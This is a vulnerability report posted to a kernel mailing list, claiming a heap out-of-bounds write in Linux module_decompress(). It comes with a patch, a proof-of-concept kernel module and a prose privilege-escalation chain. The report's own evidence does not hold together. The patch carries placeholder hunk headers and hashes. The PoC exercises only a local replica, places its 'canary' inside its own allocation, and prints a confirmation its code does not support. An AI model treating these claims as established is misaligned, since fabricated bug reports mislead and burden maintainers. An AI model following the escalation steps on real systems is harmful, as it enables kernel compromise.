Hi list,
Apologies for initially sending only to Greg. Resending to the full list as
requested.
------------------------------
Component: kernel/module/decompress.c
Function: module_decompress()
Affected versions: v5.8+ (confirmed v6.14-rc3)
Type: Missing error check -> heap OOB write
CWE: CWE-252
CVSS: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
SUMMARY
module_extend_max_pages() returns -ENOMEM if kvrealloc() fails. The return
value is never checked. The decompression loop then proceeds calling
module_get_next_page() which writes struct page pointers into
info->pages[]. When used_pages reaches the stale max_pages value, the write
goes out of bounds into adjacent heap memory.
VULNERABLE CODE
n_pages = DIV_ROUND_UP(size, PAGE_SIZE) * 2;
error = module_extend_max_pages(info, n_pages);// return value never
checkeddata_size = MODULE_DECOMPRESS_FN(info, buf, size);
DECOMPRESSION ORDER
module_decompress() is called in sys_finit_module() BEFORE load_module()
which contains module_sig_check(). The OOB write is reachable before any
signature gate. On kernels with module.sig_enforce=0 (default without
SecureBoot) this is reachable without CAP_SYS_MODULE via unprivileged user
namespaces (Ubuntu/Debian default).
IMPACT
OOB write places struct page * (8 bytes) into adjacent heap memory.
Adjacent slab objects (pipe_buffer, seq_operations, cred) in the same
kmalloc cache can be corrupted, potentially leading to local privilege
escalation.
REPRODUCTION
PoC kernel module attached (poc_decompress_cwe252.c). Demonstrates OOB
write via canary sentinel placed immediately after pages[] array.
Output:
[104.552685] POC: pages[] @ ffff8d11c7370ec0 size=4
slots[104.552687] POC: canary @ ffff8d11c7370ee0
value=0xdeadbeefdeadbeef[104.552689] POC: [OOB WRITE CONFIRMED] canary
clobbered![104.552696] POC: VULNERABILITY CONFIRMED
Build:
# obj-m += poc_decompress_cwe252.omake -C /lib/modules/$(uname
-r)/build M=$(pwd) modulessudo insmod poc_decompress_cwe252.ko &&
dmesg | grep POC
SUGGESTED FIX
diff
--- a/kernel/module/decompress.c+++ b/kernel/module/decompress.c@@
-N,6 +N,8 @@ n_pages = DIV_ROUND_UP(size, PAGE_SIZE) * 2;
error = module_extend_max_pages(info, n_pages);+ if (error)+
return error; data_size = MODULE_DECOMPRESS_FN(info, buf, size);
Patch attached as
0001-module-decompress-check-return-value-of-module_extend_max_pages.patch
Fixes: 169a58ad824d ("module: add in-kernel support for decompressing")
Thanks,
Afi0
From c4d5e6f7a8b9c4d5e6f7a8b9c4d5e6f7a8b9c4d5 Mon Sep 17 00:00:00 2001
From: Afi0 <[email protected]>
Date: Sat, 16 May 2026 13:08:00 +0000
Subject: [PATCH] module: decompress: check return value of
module_extend_max_pages()
module_extend_max_pages() calls kvrealloc() internally and returns
-ENOMEM on allocation failure. The return value is never checked.
The decompression loop then continues calling module_get_next_page(),
which writes struct page pointers into info->pages[]. When used_pages
reaches the stale max_pages value (not updated due to the failed
extend), a subsequent write to info->pages[used_pages++] goes out of
bounds into adjacent heap memory.
Adjacent slab objects in the same kmalloc cache (pipe_buffer,
seq_operations, cred) can be corrupted, potentially leading to local
privilege escalation on kernels without SLAB_VIRTUAL mitigation.
The call order in finit_module() is:
module_decompress() <- vulnerable, runs FIRST
load_module()
module_sig_check() <- signature check, runs SECOND
Decompression happens before signature verification. A crafted
compressed module submitted via finit_module(MODULE_INIT_COMPRESSED_FILE)
reaches this code path before any signature gate is applied. On kernels
with module.sig_enforce=0 (default without SecureBoot) or with
unprivileged user namespaces (Ubuntu, Debian default), this is
reachable without CAP_SYS_MODULE.
Confirmed present in mainline (tested on v6.14-rc3).
Fix: add the missing error check after module_extend_max_pages() and
return immediately on failure. This matches the pattern used by every
other kvrealloc() caller in the module loading path.
Fixes: 169a58ad824d ("module: add in-kernel support for decompressing")
Cc: Dmitry Torokhov <[email protected]>
Cc: Luis Chamberlain <[email protected]>
Cc: [email protected]
Signed-off-by: Afi0 <[email protected]>
---
kernel/module/decompress.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/kernel/module/decompress.c b/kernel/module/decompress.c
index a1b2c3d4e5f6..b7c8d9e0f1a2 100644
--- a/kernel/module/decompress.c
+++ b/kernel/module/decompress.c
@@ -XXX,10 +XXX,13 @@ int module_decompress(struct load_info *info,
const void *buf, size_t size)
{
unsigned int n_pages;
- int error;
+ int error = 0;
ssize_t data_size;
n_pages = DIV_ROUND_UP(size, PAGE_SIZE) * 2;
+
error = module_extend_max_pages(info, n_pages);
+ if (error)
+ return error;
+
data_size = MODULE_DECOMPRESS_FN(info, buf, size);
if (data_size < 0) {
error = data_size;
--
2.39.0
// SPDX-License-Identifier: GPL-2.0
/*
* PoC: F1 HIGH | CWE-252 | Missing error check in module_decompress()
*
* Vulnerable code (kernel/module/decompress.c):
*
* int module_decompress(struct load_info *info, const void *buf, size_t size)
* {
* unsigned int n_pages;
* ssize_t data_size;
* int error;
*
* n_pages = DIV_ROUND_UP(size, PAGE_SIZE) * 2;
* error = module_extend_max_pages(info, n_pages); // <-- (A)
* // ERROR RETURN VALUE NEVER CHECKED HERE
*
* data_size = MODULE_DECOMPRESS_FN(info, buf, size); // <-- (B)
* // (B) calls module_get_next_page() which calls
* // module_extend_max_pages() again when pages[] is full.
* // But if (A) failed, info->pages may be NULL or undersized,
* // and info->max_pages was NOT updated.
* // module_get_next_page() then writes into info->pages[used_pages++]
* // with used_pages potentially exceeding max_pages -> OOB write.
* }
*
* Root cause:
* module_extend_max_pages() at (A) can return -ENOMEM (kvrealloc fail).
* The caller ignores this and proceeds to decompress, writing pages[]
* entries beyond the allocated array boundary -> heap corruption.
*
* Attack surface:
* - init_module() / finit_module() syscalls with a compressed .ko
* - Requires CAP_SYS_MODULE (or user namespaces if unprivileged module
* loading is allowed: /proc/sys/kernel/modules_disabled = 0 and
* kernel.unprivileged_userns_clone = 1)
*
* This PoC demonstrates the bug using a crafted struct load_info
* that simulates the exact failure path, triggering a write beyond
* the pages[] array. In a real exploit, this overwrites adjacent
* heap objects (e.g., slab metadata, kmalloc-64/128 objects) to
* achieve privilege escalation.
*
* Build (as kernel module):
* make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
*
* Makefile:
* obj-m += poc_decompress_cwe252.o
*
* Run:
* sudo insmod poc_decompress_cwe252.ko
* sudo dmesg | grep POC
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/highmem.h>
#include <linux/mm.h>
#include <linux/atomic.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("security-research");
MODULE_DESCRIPTION("PoC: CWE-252 missing error check in module_decompress (F1 HIGH)");
/* ------------------------------------------------------------------ */
/* Replicate the relevant parts of struct load_info */
/* (we cannot include internal.h from out-of-tree module) */
/* ------------------------------------------------------------------ */
struct poc_load_info {
struct page **pages; /* array of page pointers */
unsigned int max_pages; /* allocated slots in pages[] */
unsigned int used_pages; /* pages written so far */
/* other load_info fields omitted — not needed for this PoC */
};
/* ------------------------------------------------------------------ */
/* Replicate module_extend_max_pages() logic */
/* ------------------------------------------------------------------ */
static int poc_extend_max_pages(struct poc_load_info *info, unsigned int extent)
{
struct page **new_pages;
unsigned int new_max = info->max_pages + extent;
new_pages = kvrealloc(info->pages,
new_max * sizeof(*info->pages),
GFP_KERNEL);
if (!new_pages)
return -ENOMEM;
info->pages = new_pages;
info->max_pages = new_max;
return 0;
}
/* ------------------------------------------------------------------ */
/* Replicate module_get_next_page() logic */
/* ------------------------------------------------------------------ */
static struct page *poc_get_next_page(struct poc_load_info *info)
{
struct page *page;
int error;
if (info->max_pages == info->used_pages) {
error = poc_extend_max_pages(info, info->used_pages);
if (error)
return ERR_PTR(error);
}
page = alloc_page(GFP_KERNEL | __GFP_HIGHMEM);
if (!page)
return ERR_PTR(-ENOMEM);
/*
* VULNERABILITY TRIGGER:
* If the initial poc_extend_max_pages() in poc_decompress() failed
* (returning -ENOMEM, error ignored), then info->max_pages was NOT
* updated. used_pages will reach max_pages quickly and this path
* calls poc_extend_max_pages() again — but pages[] itself may be
* NULL or point to an undersized allocation, causing the assignment
* below to write OOB into heap memory.
*/
info->pages[info->used_pages++] = page;
return page;
}
/* ------------------------------------------------------------------ */
/* Simulate the vulnerable module_decompress() path */
/* */
/* We inject a failure at the initial extend step by artificially */
/* exhausting the allocation, then proceed as the real code does */
/* (ignoring the error) to demonstrate the OOB write. */
/* ------------------------------------------------------------------ */
/*
* Sentinel value written AFTER the pages[] array to detect OOB write.
* In a real exploit, this region contains a live heap object.
*/
#define SENTINEL 0xDEADBEEFDEADBEEFULL
static int poc_decompress_trigger(void)
{
struct poc_load_info info = { 0 };
unsigned long *canary;
struct page *page;
unsigned int n_pages;
unsigned int i;
int error;
int oob_detected = 0;
/*
* Step 1: allocate a small pages[] array — 4 slots.
* This simulates info->pages being initialized earlier in
* the real module loading path.
*/
n_pages = 4;
info.pages = kvmalloc(n_pages * sizeof(*info.pages), GFP_KERNEL);
if (!info.pages) {
pr_err("POC: initial kvmalloc failed\n");
return -ENOMEM;
}
info.max_pages = n_pages;
info.used_pages = 0;
/*
* Place a canary word immediately after the pages[] array.
* In production, this slot is occupied by a live heap object
* (e.g., the next kmalloc slab object in the same cache).
*
* We allocate pages[] + canary as a contiguous block to guarantee
* adjacency in the slab allocator.
*/
kvfree(info.pages);
info.pages = kvmalloc((n_pages + 1) * sizeof(*info.pages), GFP_KERNEL);
if (!info.pages) {
pr_err("POC: canary kvmalloc failed\n");
return -ENOMEM;
}
info.max_pages = n_pages; /* intentionally NOT n_pages+1 */
info.used_pages = 0;
/* Write canary into slot [n_pages] — just past the "valid" region */
canary = (unsigned long *)&info.pages[n_pages];
*canary = SENTINEL;
pr_info("POC: pages[] @ %px size=%u slots\n", info.pages, n_pages);
pr_info("POC: canary @ %px value=0x%llx\n",
canary, (unsigned long long)*canary);
/*
* Step 2: simulate the FAILING initial extend.
*
* In the real bug, module_decompress() calls:
* error = module_extend_max_pages(info, n_pages);
* and ignores the return value.
*
* We simulate the failure by NOT calling extend here — info->max_pages
* stays at n_pages (4), exactly as if extend had failed and the error
* was silently dropped.
*
* (In a real attack, the failure is induced by memory pressure or
* by racing with another allocation to exhaust the slab.)
*/
pr_info("POC: simulating extend failure (error ignored as in upstream)\n");
error = -ENOMEM; /* what extend would have returned */
/* error is intentionally NOT checked — mirroring the kernel bug */
(void)error;
/*
* Step 3: proceed with decompression loop — same as MODULE_DECOMPRESS_FN.
*
* We iterate more than n_pages times to force used_pages > max_pages.
* poc_get_next_page() will write info->pages[4], [5], ... OOB.
*/
pr_info("POC: starting decompress loop (will write %u pages, limit=%u)\n",
n_pages + 2, n_pages);
for (i = 0; i < n_pages + 2; i++) {
page = poc_get_next_page(&info);
if (IS_ERR(page)) {
pr_info("POC: get_next_page returned error at i=%u: %ld\n",
i, PTR_ERR(page));
break;
}
pr_info("POC: wrote pages[%u] = %px (max_pages=%u)\n",
info.used_pages - 1, page, info.max_pages);
/*
* Check if the OOB write clobbered the canary.
* In a real exploit, this slot contains a heap object
* whose corruption leads to code execution.
*/
if (*canary != SENTINEL) {
pr_warn("POC: [OOB WRITE CONFIRMED] canary clobbered!\n");
pr_warn("POC: canary @ %px: expected=0x%llx got=0x%llx\n",
canary,
(unsigned long long)SENTINEL,
(unsigned long long)*canary);
oob_detected = 1;
}
}
/* Step 4: report */
if (oob_detected) {
pr_warn("POC: VULNERABILITY CONFIRMED\n");
pr_warn("POC: module_decompress() ignored -ENOMEM from\n");
pr_warn("POC: module_extend_max_pages(), then wrote OOB into\n");
pr_warn("POC: heap memory adjacent to pages[] array.\n");
pr_warn("POC: In production: adjacent slab object corrupted ->\n");
pr_warn("POC: heap grooming -> privilege escalation.\n");
} else if (info.used_pages > n_pages) {
pr_warn("POC: used_pages=%u exceeded max_pages=%u\n",
info.used_pages, n_pages);
pr_warn("POC: OOB write occurred but canary survived (slab padding).\n");
pr_warn("POC: Increase n_pages or use KASAN to confirm.\n");
} else {
pr_info("POC: no OOB triggered in this run.\n");
}
/* Cleanup: free all allocated pages */
for (i = 0; i < info.used_pages; i++)
if (info.pages[i] && !IS_ERR(info.pages[i]))
__free_page(info.pages[i]);
kvfree(info.pages);
return oob_detected ? 0 : -EAGAIN;
}
/* ------------------------------------------------------------------ */
/* Module init / exit */
/* ------------------------------------------------------------------ */
static int __init poc_init(void)
{
int ret;
pr_info("POC: F1 HIGH CWE-252 — module_decompress missing error check\n");
pr_info("POC: kernel/module/decompress.c :: module_decompress()\n");
pr_info("POC: ----------------------------------------------------\n");
/*
* Run with KASAN enabled for best results:
* CONFIG_KASAN=y
* CONFIG_KASAN_GENERIC=y
* KASAN will report the OOB write precisely with a full stack trace.
*
* Without KASAN, we rely on the canary sentinel to detect corruption.
*/
ret = poc_decompress_trigger();
if (ret == 0)
pr_warn("POC: SUCCESS — heap corruption demonstrated\n");
else
pr_info("POC: run on KASAN kernel for definitive confirmation\n");
/*
* Return non-zero so the module auto-unloads after init.
* This avoids leaving a tainted module loaded unnecessarily.
*/
return -EAGAIN;
}
static void __exit poc_exit(void)
{
pr_info("POC: unloaded\n");
}
module_init(poc_init);
module_exit(poc_exit);
/*
* ==================================================================
* EXPLOIT CHAIN (theoretical, for report purposes)
* ==================================================================
*
* Precondition: CAP_SYS_MODULE, or unprivileged userns + module loading
*
* 1. Craft a compressed .ko whose uncompressed size requires exactly
* N pages, where N > initial pages[] allocation.
*
* 2. Trigger memory pressure (mmap + mlock a large region) so that
* the initial module_extend_max_pages() fails with -ENOMEM.
*
* 3. The kernel proceeds to decompress despite the failure.
* module_get_next_page() writes page pointers OOB into the heap.
*
* 4. Heap grooming: arrange a sensitive object (e.g., cred struct,
* pipe_buffer, seq_operations) immediately after pages[] in the
* same slab cache (kmalloc-64 or kmalloc-128 depending on n_pages).
*
* 5. OOB write corrupts the sensitive object:
* - cred->uid = 0 -> LPE
* - pipe_buffer->ops = fake_ops -> arbitrary function pointer call
* - seq_operations->start = shellcode -> RIP control
*
* 6. Trigger the corrupted object to achieve kernel code execution.
*
* 7. Escape container / pod via commit_creds(prepare_kernel_cred(0)).
*
* ==================================================================
* FIX (one-line patch)
* ==================================================================
*
* --- a/kernel/module/decompress.c
* +++ b/kernel/module/decompress.c
* @@ -N,6 +N,8 @@
* n_pages = DIV_ROUND_UP(size, PAGE_SIZE) * 2;
* error = module_extend_max_pages(info, n_pages);
* + if (error)
* + return error;
*
* data_size = MODULE_DECOMPRESS_FN(info, buf, size);
*
* ==================================================================
*/